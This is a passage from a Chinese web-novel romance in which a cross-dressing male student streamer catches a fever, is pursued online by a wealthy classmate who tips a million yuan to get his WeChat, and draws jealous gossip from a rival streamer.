“不过有一说一，那男的虽然脑子不好使，居然连家里煤气这种几百年前用的鬼话都信，声音倒是挺好听的，长得怎么样？有没有问你要微信？” 同样是男人的时绥：“……” “学弟你怎么不说话，你不会把微信给人家了吧？！” 小橘猫也不知道是不是因为受伤，性格异常温顺，时绥小心翼翼将它抱到自己腿上，摸着它的小脑袋瓜，小橘猫舒服得直眯眼。 窗外城市的霓虹在雨幕中晕染成流动的光带。听时绥说没有给，另一头的苏蕊明显松了口气：“哦哦，那就好。” “怎么说你都是有九千多粉丝的小网红，什么都没付出就想要你的微信那也太便宜这群臭男人了，再至少得先刷个小几万的礼物作为入场券！” 时绥失笑，平台里几百万粉丝的网红多的是，九千多的粉丝量连网红的边都摸不着，只能算小透明。今天能遇到认识他的粉丝纯属走大运。 江以桓也不可能为他花钱。 “萌小绥”这个账号毕竟才创建没几天，又没有任何流量推广，直播间一直没什么人气，刷礼物的人很少。 他早清楚自媒体没那么好闯，光有颜值身材根本不够，但对他这种负债的人来说，能赚一点是一点。 何况人气是需要积累的，没准播到后面就有人愿意给他投更多礼物呢？ 时绥乐观地想着，突然，想起一个一直以来被他忽视的点——他从没告诉过粉丝和观众自己是男扮女装，这算不算诈骗？！ 应该不算吧，他又没向任何人索要礼物，也没有人问他是男是女…… 虽然这么想，但时绥还是感到一阵罪恶感浇上心头，他不想隐瞒粉丝，可是让粉丝们知道自己男扮女装……被骂变态都是其次的，让粉丝们对他失望透顶，还扒出他在苏蕊学姐那儿兼职，影响到学姐的生意怎么办？ 这样想，时绥都蔫了。 蔫归蔫，让他主动坦白自己是男生是不可能的。也不舍得退网——这些粉丝是时绥的粉丝，不是原主的，是时绥在这个无依无靠陌生的书里世界唯一的精神支柱。 决定拿这段时间收到的礼物钱再补贴个几千块钱进去，弄个抽奖给粉丝们作为赔罪。 至于准备哪些奖品，时绥回去后得认真想想。 8、第八章 抵达宠物医院，时绥怀里原本的小橘猫爆改战斗喵，除了时绥以外的人都不让碰，医生花了大把功夫才把它按住。 等结果出来，被告知只是后腿有点轻微扭伤和擦伤，已经做了包扎处理，休养几天就好，时绥松了口气。 “呼，咪咪你没事真是太好了！” 他揉着小橘猫毛茸茸的脑袋，小橘猫立马乖巧，奶呼呼地冲他喵了一声。 宿舍不能养宠物，时绥只能忍痛先支付了一周的寄养费，等找到合适的领养人再说。 回宿舍前，时绥去了一趟苏蕊的公司，把假发和身上的衣服脱下来，换回自己原来的衣服。 苏蕊之前见他是淌着水过来的，一看就是淋了雨，担心他着凉，挽留时绥留下来喝杯姜汤，公司的茶水间有提供。 “谢谢学姐的好意，只是寝室一会儿要查寝，我就先不等了。” 听他这么说，苏蕊也不好勉强，只让他回去后早点休息。 时绥的确要早点休息。想到第二天早上六点要去学校对面的水果店帮老板切水果、装盒，赚那50块钱窝囊废，八点半还要上课，时绥光速洗好澡换完睡衣，强迫自己忘记今天女装撞见江以桓那惊心动魄的遭遇，呈“大”字型躺到床上。 疲惫感在接触到床板的一瞬间，潮水般袭来。 寝室已经熄灯，底下孟灿敲键盘打游戏的声音很小，并不会影响到时绥。 可或许是淋了雨，也或许是近日来的负债和打工的身心双重压力积累，时绥这一觉睡得并不安稳，感觉浑身发冷，脑袋也昏沉。 次日，天还没完全亮，时绥挣扎着爬起来，身体如同灌了铅般沉重，喉咙也干涩发痛。他轻手轻脚地下床去洗漱，咬牙去了水果店。 在冰冷的水池边处理水果两个小时，手指都冻得有些麻木，头更是疼得厉害。 好不容易熬到结束，等老板结完工资，时绥又马不停蹄地赶去上八点半的专业课。 课堂上教授的声音像是隔着一层水传来，模糊不清。他强撑着记笔记，额角渗出细密的冷汗。 …… 江以桓心不在焉了一上午。 好几次顾鸣川跟他说话，他都没有听见。金属打火机打开又盖上，也不知道在盯着哪个方向出神。 “江哥这是怎么了？从昨天开始就不太对劲了。”顾鸣川小声蛐蛐，“难不成被时随那个不听话的家伙给气得神志失常？” 沈彦泽耸肩，表示自己也不清楚。 两人跟遇到罕见现象一样对着江以桓观察了半天。 等到顾鸣川被体院教练叫去加训，沈彦泽在江以桓旁边的空位坐下：“江哥，有心事？” “是因为时随吗？他最近确实反常，整天神龙见首不见——” 沈彦泽试探着切入，就被他江哥嗤笑着打断：“他也配让我惦记。” “……”原来是有惦记的人了。 昨天为止还没有，就在这短短一天里？ “谁啊？”沈彦泽好奇，“说起来昨晚雨挺大的，江哥你回来时没被淋着吧？” “少女”的身影骤然被带回江以桓脑内。 对方撑着一把透明雨伞，踮着脚尖努力和无家可归的小流浪猫对话。 那抹雾蓝色在雨夜里亮得惊人，雪白的腿笔直修长，腰也很细。打扮得精致性感，气质却很清纯干净。 “没有。”他说，“路上遇到个人。” 沈彦泽闻言起了兴趣，能让江哥主动提起的人可不多见。 江以桓垂眼盯着手中的打火机，似乎在斟酌词句：“一个女孩。给一只墙头上的流浪猫撑伞，自己淋湿了大半。”他顿了顿，“头发是雾蓝色的，很长，穿的很漂亮，人也很……漂亮。” 沈彦泽点头，这对江以桓这种成天鼻孔看人的bking来说可是有史以来给出的最高评价：“这发色还挺特别的，哪个学校的，看着像学生吗？” “不知道。年纪应该差不多，但不是我们学校的，我没在学校见过她。” 沈彦泽想了想说：“附近除了a大，就只有新锐职业技术学院了，那是所大专，江哥你怕不是看不上。” 他语气中带了点可惜，谁知江以桓的反应出乎意料：“大专怎么了？” 语气带着一种近乎本能的维护。 “大专有问题么，大专低人一等吗？每天走下水道，出门买菜必须蒙面吗，是有案底吗，很可怕吗？” “她长得那么好看，成绩差点不是很正常吗。人品和能力不比学历更加重要？” “……”沈彦泽心说我服了，江哥你搞那么抽象呢？ 沈彦泽对着江以桓的脸观赏了好半天，仿佛头一次认识他：“江哥，这话从你嘴里说出来真是活久见啊。” 江以桓：“你放屁。” “我没有。”沈彦泽掰着手指头数，“去年，四中那个追你的校花，就因为期末考一门没及格，你当着人家面说智商是硬伤。还有前年……” “行了，尽说这些没用的。”江以桓有些不耐烦地打断他，耳根带了点不易察觉的热意。 “不是吧江哥，这怎么能算没用的？你这是双标。”沈彦泽道，“以前也不是没遇见长得漂亮的女生，你非但看不上甚至还有点烦人家，现在为了一个只见过一面连名字都不知道的女孩抛弃了原则？？” 他看着江以桓，问出了那个最关键的问题：“所以江哥，你是真喜欢上那个只见了一面的女孩了？” 空气安静了几秒。 江以桓沉默着，手指无意识地摩挲着冰冷的打火机机身，眼前似乎又浮现出那一双微微带点肉感的雪白大腿，被雨水打湿得可怜的画面…… 沈彦泽以为他又会用惯常的冷漠或者嘲讽搪塞过去，毕竟喜欢这种词，对江以桓来说太陌生也太肉麻了。 可就在沈彦泽认为不会得到回答时，听到一个清晰的“嗯”。 “喜欢。” 江以桓声音很轻，却很笃定地说。 - “哟，这不是时随吗！” 一个带着明显不悦的声音在前方响起，正拖着沉重的步伐回宿舍的时绥勉强抬头，就见刚结束训练的顾鸣川一身汗气，挡在路中间。 他看着脸色苍白、脚步虚浮的时绥，想起江以桓最近的反常，忍不住阴阳怪气：“怎么，最近忙着陪女人逛街，累得路都走不稳了？看你这一脸肾虚样……” 顾鸣川刻薄的话还没说完，就见时绥身体猛地一晃，直直地向前栽倒。 “卧槽！”顾鸣川吓了一跳，条件反射地冲上去把人捞住，“你妈的，少给我碰瓷啊，你——” 入手滚烫的温度让他心头一惊：“发烧了？！” 这下也顾不上找茬，顾鸣川背着昏迷的时绥一路狂奔到校医务室。 确认是淋雨受凉加过度劳累引发的高烧，在校医处理时，顾鸣川才终于有机会喘口气，把时绥小心地放到病床上。 就在这时，校医替时绥取下鼻梁上那副笨重的黑框眼镜，又不小心手滑，“啪嗒”掉在病床边的地上。 顾鸣川弯腰去捡，当他直起身，目光无意中扫过病床上那张毫无遮挡的脸时，整个人瞬间愣在原地。 没了眼镜的遮挡，那张脸…… 不儿，这事儿江哥他知道吗？！ 校医给时绥打了退烧针，挂了点滴。 顾鸣川拿着眼镜的手停在半空，落在时绥脸上的目光像是被磁石吸住，心脏也不受控制地狂跳起来。 他魂不守舍地坐在旁边的椅子上，脑子里一团糟。 …… 时绥昏睡了几个小时才悠悠转醒，他费力地睁开眼皮，视线还有些模糊，就看到顾鸣川坐在床边的椅子上，正用一种极其复杂的眼神看着自己。 见自己醒了，顾鸣川仿佛被烫到一样飞快地移开视线，脸上习惯性地想挂上那副嘲讽的表情，声音却带着莫名其妙的别扭：“醒了？麻烦精，走个路都能晕倒，害得老子训练完还得伺候你！” 时绥嗓子干得冒烟，头依旧昏沉，没力气跟他计较。 他虚弱地看了顾鸣川一眼，哑着嗓子说：“……水。” 顾鸣川愣了一下，撇撇嘴，还是起身倒了杯温水。 他动作略显僵硬地把水杯递到时绥嘴边，眼神却飘忽着不敢直视对方的脸，尤其那双刚刚睁开、还带着水汽和迷茫的眼睛。 清凉的水滑过喉咙，时绥舒服了一些。他靠在床头，闭了闭眼，才看向顾鸣川，声音虽然虚弱，却带着真诚：“顾哥，谢谢你背我来医务室。” 顾鸣川：“……” 要是放在以前，时绥敢晕倒害他背人，他肯定要骂骂咧咧甚至趁机刁难。可现在……时随居然在谢他，还喊他顾哥？ 顾鸣川的脸绯红一片，一个震惊我妈的念头浮上来。 “你……你少来这套，别以为装装可怜就能蒙混过关！我……我警告你啊，离我远点，别想打什么歪主意！” 他骤然间站起身，动作大得差点带倒椅子，脸上红一阵白一阵，羞恼地指着时绥。 见时绥一脸茫然，顾鸣川把时绥的眼镜往床边柜子上一拍，头也不回地冲出了医务室。 时绥：“？” 顾鸣川抽疯了嘛，他真的只是诚心道个谢而已啊…… 顾鸣川一路冲出医务室，找了个没人的角落大口喘气：“妈的……绝对是故意的！” “那小子肯定发现江哥那边没戏了，就想来勾引我！仗着自己……长得还行……就耍这种手段！” 暗含一丝小得意的表情出现在脸上，又被顾鸣川强行收住。他掏出手机，火急火燎地给沈彦泽打电话：“喂！沈彦泽！出大事了！” 电话那头传来沈彦泽慢悠悠的声音：“怎么了，江哥又怎么了？” “不是江哥！是时随！”顾鸣川的声音带着一种混合着兴奋、紧张和恐慌的复杂情绪，“我怀疑……不，我确定！他在勾引我！！” 沈彦泽：“……？” 顾鸣川语无伦次地开始描述：“就刚才！他晕倒了！我背他去医务室，结果……结果他眼镜掉了！沈彦泽我跟你说，那小子摘了眼镜，他妈的……长得……” 他卡壳了一下，似乎在找一个合适的形容：“……长得还挺人模狗样的！然后他醒了，你知道他说什么吗，他居然跟我道谢，还他妈用那种眼神看我！虚弱兮兮的，装得跟真的似的，他是不是想转移目标？想对我用美人计？我该怎么办啊，他好歹是江哥的跟班，要是被江哥知道了会不会以为我撬他墙角宰了我？！” 沈彦泽在电话那头沉默了好几秒，似乎在消化这巨大的信息量。 然后，他长长地叹了口气，决定用更大的炸/弹来炸醒这个脑回路清奇的傻子：“比起这个，我先告诉你个更劲爆的消息。” “江哥亲口承认，喜欢上了一个只见过一次面的女生，一头雾蓝色长发，漂亮得像仙女下凡。为了这个女生，他连和喻家的婚约都想解除了。” “什……什么？！你说江哥？！喜欢上一个只见过一面的女生？！还要退婚？？？” 顾鸣川仿佛被一道天雷劈中，嘴巴张得能塞进一个灯泡。 震惊半晌，他恍惚地问：“哦，那那、我还需要告诉江哥，时随那张脸长得不一般的事吗？” “你说呢？江哥回宿舍后就一直对着一个摔坏的音乐盒发呆，据说是那个女生的东西，就等着修好了还回去呢，你认为他有空管你和时随那点破事？” “再说能有多不一般，比得上江哥那位白月光？” 话说到这份上，沈彦泽和顾鸣川都很清楚，这是不可能的事。 沈彦泽：“不过你确定是时随在勾引你，而不是你见色起意？” 被戳中的顾鸣川像被踩了尾巴，恼羞成怒地吼了一句“滚”，狠狠挂断了电话。 9、第九章 那厢，时绥对女装的自己被惦记上这事一无所知。 他向苏蕊请了假，苏蕊很爽快地同意了，叮嘱他好好养病，身体才最重要。 夜里，退了烧但还有些虚弱的时绥老老实实呆在宿舍。 孟灿仍然沉迷游戏，戴着耳机与世隔绝。时绥靠在床上，抱着手机，认真思考给粉丝们的抽奖礼物。 “关注我的应该都是女孩子吧？” 他自言自语，手指在购物网站上滑动，“送点实用的、她们会开心的东西……” 最终敲定了近期很火的奶茶色系口红、精致小巧的锁骨链，以及适合日常又很显气质的半身裙作为奖品。 口红是大牌的，锁骨链是纯银的，半身裙是顶级设计师创作的，加起来要小两万块，时绥虽然肉疼，却不后悔，对粉丝怎么能吝啬呢，何况是作为隐瞒性别来赔罪的。 至于粉丝们买不买账……目前时绥想的是，反正他又不以此招摇撞骗，而且等攒够学费就退圈，绝不被任何人发现他是女装大佬！ 而终极大奖…… 「由中奖的幸运儿自定义一个小愿望，只要在绥绥能力范围内且合法合理，一定尽力满足！」 看着定好的奖品清单，时绥编辑好抽奖动态，设置好开奖时间——就在明晚八点。 看着屏幕上“萌小绥”的主页，他轻轻呼出一口气，期待着明晚的揭晓时刻。 - 翌日，傍晚七点。 江以桓静坐在宽敞的寝室里，目光落在书桌上那个已经擦拭干净，且修好了的水晶球音乐盒上。 就在刚才，他又一次去了霓虹街，抱着渺茫的希望去寻找那道雾蓝色身影，自然是一无所获。 没有联系方式，不知道“她”住在哪，甚至连“她”的名字都不知道……那种可能再也见不到“她”的恐慌感，让江以桓的心情直跌谷底。 烦躁感野草般疯长。江以桓霍然站起身，抓起一件运动外套，决定去操场跑圈发泄一下无处安放的情绪。 夜晚的操场人不多。江以桓戴着蓝牙耳机，听着激烈的鼓点音乐，一圈又一圈地奔跑，试图用身体的疲惫驱散心底的烦闷。 跑到第六圈时，他稍微放慢了脚步，调整呼吸。 就在这时，旁边路过两个散步的女生，她们的穿衣风格莫名熟悉。 ……他这阵子真是病得不轻，看谁都能想到那个女孩。 江以桓内心自我嘲讽一句，鬼使神差地取消蓝牙耳机的降噪模式。女生的对话片段飘进了他的耳朵。 “……不错吧？就是‘萌小绥’直播穿的那条同款，虽然小贵，但版型和料子真的绝了！我咬咬牙买了，果然没叫我后悔。” “她眼光真的超好，性格也很棒，我前几天在霓虹街见到她，本人特别漂亮，像魅魔，而且好宠粉啊，昨晚不是搞了个抽奖吗？一等奖是条超好看的限量版半身裙，出自f国顶级设计师之手，还有终极大奖可以许愿！” “我知道这个！我转发了，要是能中就好了！” 俩女生聊得正兴，一道低沉的嗓音突兀地响起： “打扰下，你们刚才说的‘萌小绥’是在哪个平台？” 抬头看见一张很帅的脸，两名女生愣了愣，结结巴巴地说：“啊，是……是在小蓝书平台，她是个穿搭博主，偶尔会开直播……” 江以桓道了声谢，转身离开后立刻拿出手机下载小蓝书app，注册账号，在搜索框输入“萌小绥”三个字。 页面跳转。 下一秒，江以桓的瞳孔剧烈震颤。 主页动态里是各种让人眼花缭乱的美照。 “少女”每一组照片穿的裙子不同、摆的姿势不同、风格不同，甚至没有露全脸，但江以桓仍然一眼认出他就是前几天在霓虹街遇到的那位女孩子。 无他，只因为这世上没有第二个女生能拥有这般让他一见倾心的身材，和感觉。 …… 【用户“_jd1hq”关注了您】 咦，又有新粉丝了。时绥趴在宿舍床上一边晃小腿一边看手机。 他这几天没怎么更新，还担心会掉粉来着。 现在看着粉丝数因为抽奖又涨了一小波，评论区热热闹闹的期待留言，时绥双手托腮，满脸写着高兴。 时间一分一秒流逝，很快到了八点整。 “开奖啦开奖啦。”开启直播后，时绥小声欢呼了一下，点开平台后台的抽奖结果公示。 “三等奖是‘爱吃草莓的小兔’、‘今天也要美美哒’、‘喵呜酱’，恭喜恭喜！” “二等奖是‘小熊软糖’、‘不吃香菜’，恭喜！” “一等奖是……哇，这位‘爱看韩漫砰砰砰’朋友，恭喜你获得限量版半身裙一条，请私信我地址哦。” 最后，时绥深吸一口气，念出最重要的那个：“然后……终极大奖的幸运儿是——” 他看着那个由系统随机生成、看起来像是初始昵称的id，笑着念了出来：“恭喜‘用户_jd1hq’。请这位幸运的小可爱私信我，告诉我你想要的愿望，地址也可以发我寄奖品哦～” 公布完毕，时绥开始耐心等待粉丝们的私信。 尤其那位获得终极大奖的新粉，时绥好奇对方会许下什么样的愿望。 浴室里水声停止。 江以桓擦拭着湿漉漉的头发。水珠顺着紧实的肌肉线条滑落。 他围了条浴巾走出来，第一眼转向书桌上的手机。 屏幕亮着，显示着来自小蓝书的推送通知： 【系统通知：恭喜您！在用户@萌小绥的抽奖活动中，您获得了“终极大奖（自定义愿望）”！请尽快与博主联系！】 江以桓的脚步顿住了。 他站在原地，水滴顺着发梢滴落在光洁的地板上，发出轻微的“嗒”声。 他盯着那条通知，足足看了十秒钟，仿佛在确认自己是不是眼花。 “江哥你洗完了？那我去洗了。”沈彦泽见他没回应，“江哥？” 江以桓“嗯”了一声，快步走向自己床位。 【系统提示：您关注的用户@萌小绥正在直播，是否进入直播间？】 江以桓毫不犹豫选择【是】。 画面漆黑，对面没开摄像头，只开着麦克风。 江以桓戴上耳机，隐约听到一道柔和清润的说话声响起。 很轻，就像是不小心露出柔软肚皮的小猫，带着点不自知的娇憨感。 霎时间，江以桓想起那天雨夜被少女抱入怀的小流浪猫。 ……两个都是可爱的小猫。 以前从不觉得猫这玩意儿可爱的江以桓如是想。 “没有中奖的小可爱们也不要难过，下次还有机会的。祝大家身体健康，万事如意。” 好会安慰人。江以桓露出不值钱的笑容。 听着这仿佛就在耳边呢喃的温柔话语，眼前漆黑一片的屏幕中，似乎浮现出记忆里那段盈盈一握的细窄腰肢，以及微带肉感的白皙大长腿。 “……” 再多想一会儿他这澡就算白洗了。 江以桓闭了闭眼睛，强行把画面从脑子里赶出去。 他喉结滚动，压下内心的燥热，手指滑开和“萌小绥”的私信界面，编辑了一条消息发送出去： 【什么愿望都可以？】 10、第十章 【什么愿望都可以？】 时绥回答道：“当然啊，只要是在我能承受的能力范围内，我都会尽量满足的。” 真好听。江以桓想。 怎么会有长得美，声音还好听的女孩子？ 是那种低低沙沙的，偏中性的少御音。 发烧才好的缘故，时绥的音色与平时清亮的少年音截然不同。沙哑模糊了性别特征，平添几分成熟感。 他耐心地等待着对方敲字，等到一句—— 【那我想要你的微信，可以吗？】 “……” 时绥脸上的笑容僵住，如果不是没开摄像头，观众估计能当场看见一场变脸戏。 要他的微信？这个愿望未免也太…… 虽然时绥设置的是“自定义愿望”，也想到了可能会有粉丝想要联系方式，但真的收到这样直白的请求，冲击力还是很大的。 时绥的手指无意识地绞着被角，一瞬间脑子里闪过许多念头： 对方是谁？ 看昵称像是系统自动生成的乱码，主页也一片空白，显然是个刚注册或者刻意隐藏信息的小号。 是害羞的女粉丝不好意思用大号，还是……根本就是个男的？ 最关键的问题是，要不要给微信？ 时绥承诺过在能力范围内满足愿望，给个联系方式似乎确实在能力范围内……但这似乎触及到了隐私。万一对方是骚扰狂魔怎么办？万一加了微信后提出更过分的要求呢？ 巨大的纠结和一点点被冒犯的感觉笼罩了时绥。 他完全没有把这个陌生的乱码id和江以桓联系起来—— 在他认知里，江以桓那种高高在上、目空一切的人，怎么可能关注一个穿搭博主？ 还参与抽奖？ 还要微信号？ 信这些不如信他上辈子是秦始皇！ 萌小绥：【这个……愿望有点特别呢。微信号是私人联系方式，不太方便给陌生人哦。你看要不要换一个愿望？比如选一件特别款的小裙子？或者我帮你搭配一套？[可爱.jpg]】 感觉有点敷衍。删掉。 萌小绥：【抱歉啊小可爱，这个愿望可能有点超出绥绥的能力范围了[哭泣.jpg]。私人联系方式确实不能随便给呢，我们换一个好不好？[双手合十.jpg]】 又有点卑微了。继续删。 萌小绥：【感谢你喜欢我！但是微信号真的不行哦[脸红.jpg]。我们可以在这里聊天呀，或者你想看我穿什么衣服直播？我可以考虑安排一期！】 ……好像更奇怪了。 时绥纠结得眉头都拧成了麻花。最终，他决定先拖延，至少问清楚对方到底想干嘛。 萌小绥：【你好呀，幸运的小可爱！[开心转圈.gif]恭喜你获得终极大奖，看到你的愿望啦～不过微信号是绥绥很私人的联系方式呢，直接给陌生人会有点害怕[对手指.jpg]。能告诉我你为什么想要我的微信吗？或者，你想要微信是想和绥绥聊些什么呢？[好奇眨眼.jpg]】 点击发送。 时绥把手机丢在一边，用被子蒙住头，好好一个宠粉活动，怎么就遇上这么个难题？ 他现在只希望对方是个单纯害羞的小女生，被他一问就退缩了，或者换个普通点的愿望。 时绥完全不知道，网络另一端，那个他避之唯恐不及的洪水猛兽，正因为他这条带着可爱表情包的小心翼翼的试探回复，而心情愉悦地勾起了唇角。 那边，看着“萌小绥”发来的回复，想象着对方可能纠结又带着点小害怕的表情，江以桓非但没有被拒绝的恼怒，反而觉得很有趣。 这种小心翼翼的试探，和他印象中那个在雨夜里心软给猫撑伞、又像受惊兔子般逃走的形象重叠在了一块儿。 修长的手指落在屏幕上，江以桓敲字回复。 用户_jd1hq：【只是想认识你。没有恶意。】 用户_jd1hq：【或者，告诉我你住哪，我们线下见个面，我请你吃饭。】 看清后一条，时绥吓得差点又把手机扔出去。 还告诉你我住哪，还线下见面吃饭？ 你谁呀你！ 怎么和江以桓一样不懂边界感？！ 时绥正寻思怎么拒绝，新的私信弹出来。 用户_jd1hq：【不用打字回我，我在直播间。你说话就行，我听得见。】 用户_jd1hq：【你声音很好听，我喜欢听你说话。】 时绥：“……” “那个，你是男生吗？”时绥询问。 用户_jd1hq：【我是。】 就知道，这味太冲了！ 被夸声音好听的悸动褪去，直男时绥立马不害羞了：“这个……你要不还是换个愿望吧，我一般不加男生，也不怎么看微信。” 用户_jd1hq：【不是说只要在能承受的能力范围内都会尽量满足，加微信很困难嘛？】 用户_jd1hq：【或者你告诉我，我要怎么做你才愿意给我你的联系方式。】 “我……”时绥抱着手机，心说加微信当然不难，关键是我不认识你，我不想加陌生人，“你还是换一个吧。” 用户_jd1hq：【不行哦，我就要你的微信(*^▽^*)】 “……”装什么萌？ 时绥真是服了这位执着哥了。 该怎么办。 ——“那群臭男人，什么都没付出就想要你的微信？太便宜他们了，再至少得先刷个小几万的礼物作为入场券！” 对啊。时绥灵光一现：钱，提钱！ 学姐说得对，现在大多数男人只要听到要花钱，肯定立马跑路。到时候骂他狮子大开口也好，捞子也好，反正…… 时绥看了一眼弹幕，反正粉丝们会为他撑腰。 这件事他可没做错，是这个男生执意要他微信，不肯更改愿望的。 【啊这，一上来就要微信？感觉不太好吧？】 【就是！绥绥保护好自己，私人微信怎么能随便给，谁知道对面是人是鬼？】 【普通男生会关注穿搭女博主吗，还这么直接要微信？十有八九是恶臭男，绥绥别理他！】 【对对对，让他滚！抽奖是福利，不是让他来骚扰博主的！】 看见弹幕都在维护自己，时绥底气更足，用刻意放软、带着点无辜和为难的语气说：“这位小可爱，微信号是绥绥很私人的东西哦，不能随便给的啦～” 他顿了顿，用一种半开玩笑半是“考验”的口吻继续说道：“可如果你真的那么想要我的联系方式，也不是不行。只是绥绥的学姐说过，想要绥绥的微信呢……” 他故意拖长了调子，模仿着苏蕊那种戏谑的语气：“至少得先刷个小几万的礼物看看诚意吧？什么都没有付出就想要微信，这……” 【啊啊啊绥绥说得对，空手套白狼想得美啊！】 【几万块看看诚意，哈哈哈哈哈学姐够威武啊，绥绥学坏了哦！】 【笑死，听见没？几个w！刷不起就滚蛋，别癞蛤蟆想吃天鹅肉！】 【赌五毛钱，这男的肯定秒怂，这种口嗨男我见得多了。】 【就是！跟男生提钱，他们跑得比谁都快。绥绥这招高，学到了！】 时绥看着刷屏的弹幕，心里稍微安定了一些。 他料定对方要么被吓退，要么恼羞成怒骂几句然后消失。时绥端起旁边的水杯，准备喝口水压压惊。 然而，水杯刚举到嘴边—— 轰！嗡——！！ 一声极其逼真的，震耳欲聋的跑车轰鸣声瞬间炸响了整个直播间！ 整个直播屏幕被一道炫目的流光占据。紧接着，只见一辆线条极致流畅，造型充满未来科幻感的顶级超跑，伴随着引擎的咆哮声，从屏幕右侧以闪电般速度疾驰而入。 车身闪烁着耀眼的钻石光芒，所过之处留下璀璨的星尘轨迹。旋即，一个巨大无比的华丽标志在跑车特效的顶端轰然落下，重重砸在屏幕中央！ 【全平台广播：尊贵的用户“用户_jd1hq”在“萌小绥”的直播间赠送了【幻影超跑】x1！极速狂飙，闪耀全场！】 【全平台广播：尊贵的用户“用户_jd1hq”在“萌小绥”的直播间赠送了【幻影超跑】x1！极速狂飙，闪耀全场！】 …… 一辆【幻影超跑】价值十万rmb。 而系统提示音，伴随着引擎的轰鸣和轮胎摩擦的尖啸，整整响了十次。 一百万！ “噗——”时绥嘴里的水全喷在了手机屏上。 他剧烈咳嗽起来，眼睛瞪得溜圆，死死盯着屏幕上那辆还在屏幕中央不断变换角度、闪烁着刺目光芒的钻石超跑。 打死他都想不到对方真会他刷礼物，还刷了整整一百万！！！ 整个直播间仿佛被按下了暂停键，所有人都被这突如其来的豪车雨给惊呆了。 足足安静了十多秒后，弹幕彻底疯了！ 【够………铁够………这他爸的太够了啊啊啊啊啊啊啊啊！！！！】 【卧槽！！！！！！一百万？！！十辆超跑？！！！】 【没看错！真是幻影超跑！！我的妈呀——这特效帅炸了！！！】 【大哥！！对不起大哥！！！刚才是我有眼无珠！大哥您腿上缺挂件吗？！】 【什么恶臭男，这是钞能力max拿一百万表诚意的富哥啊！萌小绥，快！跟富哥走吧！！！】 【哈哈哈哈哈哈，脸疼，太疼了！刚才说人家跑得快的人呢，出来看超跑啊！】 弹幕的画风瞬间从嘲讽变成了清一色的“富哥牛逼！”“给富哥跪了！” 与此同时，因为这一百万的打赏触发了平台最顶级的全频道广播和流量推送机制，许多被吸引进来的路人观众不断涌入时绥的直播间，在线人数直线飙升。 【啥情况，首页推送说这里有人刷了十辆虚拟超跑？】 【我靠，这超跑特效太酷了吧！】 【这新主播谁啊，没开摄像头？也不是音频主播和游戏区啊？pk都没玩，就一个黑屏桌面聊天，这也能有大哥？？？】 而这混乱局面的始作俑者还在云淡风轻地—— 用户_jd1hq：【这些够吗，不够我再送点。】 ……完了。 看着爆炸的在线人数、几乎失控的弹幕、依旧亮得刺眼的“用户_jd1hq”的id，还有屏幕上那辆嚣张到极点的钻石超跑，时绥只觉得头皮麻了一片。 玩脱了！！！ 时绥回神后手足无措，声音都差点变调：“谢、谢谢你送的跑车，但是这个太贵重了，我不能收！我马上联系平台退还给你！” 说完再也顾不上其他，用平生最快的速度，在无数“别关！”，“让我再看看超跑”，“富哥牛逼！”等弹幕中结束了直播。 屏幕变黑。 世界终于清静了？ 不，时绥耳畔还在嗡嗡嗡地响，像是被车碾了一遍脑子。 看着后台刺眼的巨额收入，时绥顿时有种分不清现实和幻觉的割裂感。 点开和对方的私信，手指哆嗦着打字。 萌小绥：【富哥……不，大佬，这礼物太昂贵了，我真的不能收。平台有退款机制，我这就申请全部退回给你，请你务必接受！】 信息几乎是秒回： 用户_jd1hq：【行。】 行、行吗？时绥看着这个简单的“行”字，有一瞬间的恍惚。 他缺钱，这笔钱能解决一切，甚至能让他轻松很久。 钱真的很重要…… 可是又能怎么样呢？ 别对别人的钱占有欲太强。 萌小绥：【好的，我这就去联系平台客服走退款流程。可能要十天左右，麻烦你耐心等待。】 江以桓唇角笑意加深。 用户_jd1hq：【可是怎么办，我没那个耐心呢。】 萌小绥：【啊？】 用户_jd1hq：【这样，钱你收下，提现到卡里，然后退还到我微信吧。平台抽成不用管，剩多少还多少。】 时绥看着这行字，一口气差点没上来。 他算是明白这男的打的什么主意。 所以归根结底—— 用户_jd1hq：【你还是得给我微信号。】 时绥：“……” 11、第十一章 不想给。 时绥假装没看见，向平台提交退款申请，截图发给对方后就关闭了小蓝书。 那位富哥却没打算就此消失。 隔天登录后台，时绥一眼就看到对方又活跃在动态列表里—— 置顶那条展示新裙子的照片下，点着一个新鲜的赞，头像旁还有一行小字提示“1小时前看过”。 时绥手指悬在屏幕前犹豫了一下，最终还是没点开私信窗口。 奈何对方恨不得无时无刻凸现自己的存在感。 时绥发现，他发的每一条动态，无论是最新的穿搭照片，还是之前随手分享的猫咖日常，甚至是很久以前的一条碎碎念，对方都默默点上了赞。 偶尔，在几张特别惊艳的照片下，还会留下几条简短的评论： 【很漂亮。】 【很适合你。】 【还有更多的吗？[递碗.jpg]】 “……” 最让时绥咋舌的是评论区的盛况。 自从昨夜对方给他刷了价值一百万的超跑，平台里许多顶着性感头像、昵称暧昧的擦边女主播纷纷跑来他的评论区，在【用户_jd1hq】发表的评论下排队留言。 【哥哥好大气哦～也来看看我直播嘛，人家比那个萌小绥会得多哦～】 【大佬，加个微信呗？妹妹给你发点独家福利，保证比看直播刺激。】 【大哥出手真阔气，萌小绥哪有我会哄人开心呀，要线下见面吗，我请哥哥喝咖啡～】 不是，现在都这么开放的吗？时绥一整个看呆。 课上到中途，时绥又偷偷点开富哥的主页，依旧是空白一片。再点开自己的评论区，发现这些香艳的邀约，对方一条没回。 可是头像显示对方在线啊？ 好吧，没准人家是直接私信了呢…… 时绥这样想着，把那些过于露骨的留言从自己的评论区删除，毕竟影响不太好。 谁知某个以擦边闻名的“女主播”破了大防。 大概是屡次@用户_jd1hq都得不到回应，又眼红“萌小绥”暴涨的热度。 一个叫【奶咪】的主播在自己拥有几十万粉丝的账号发了一条阴阳怪气的动态： 【哎哟，某些人删评倒是挺快，生怕自己大哥被抢走？靠几层厚厚的海绵垫子撑场面，还真当自己是什么纯欲天花板呢～可怜大哥花了大价钱，连真材实料都没摸到吧？不像妹妹我，天生丽质，坦坦荡荡。 #真胸才是正义#擦亮眼睛别被骗#懂的都懂”】 评论区立刻炸了： 【卧槽这么劲爆？！就差指名道姓骂萌小绥垫胸了吧？】 【奶咪你说话能不能放尊重点？萌小绥身材比例那么好，需要垫？】 【就算垫了又怎么了，穿衣服好看不就行了？管那么宽。】 【就是，绥绥垫不垫关你屁事？抵制雌竞！】 【奶咪】：是没什么呀，我又没说什么过分的话，只是陈述一个可能存在的事实而已嘛。怎么现在连说真话都能扯到雌竞？某些人的粉丝真是玻璃心呢～ 时绥正上着课，对这些事一无所知。 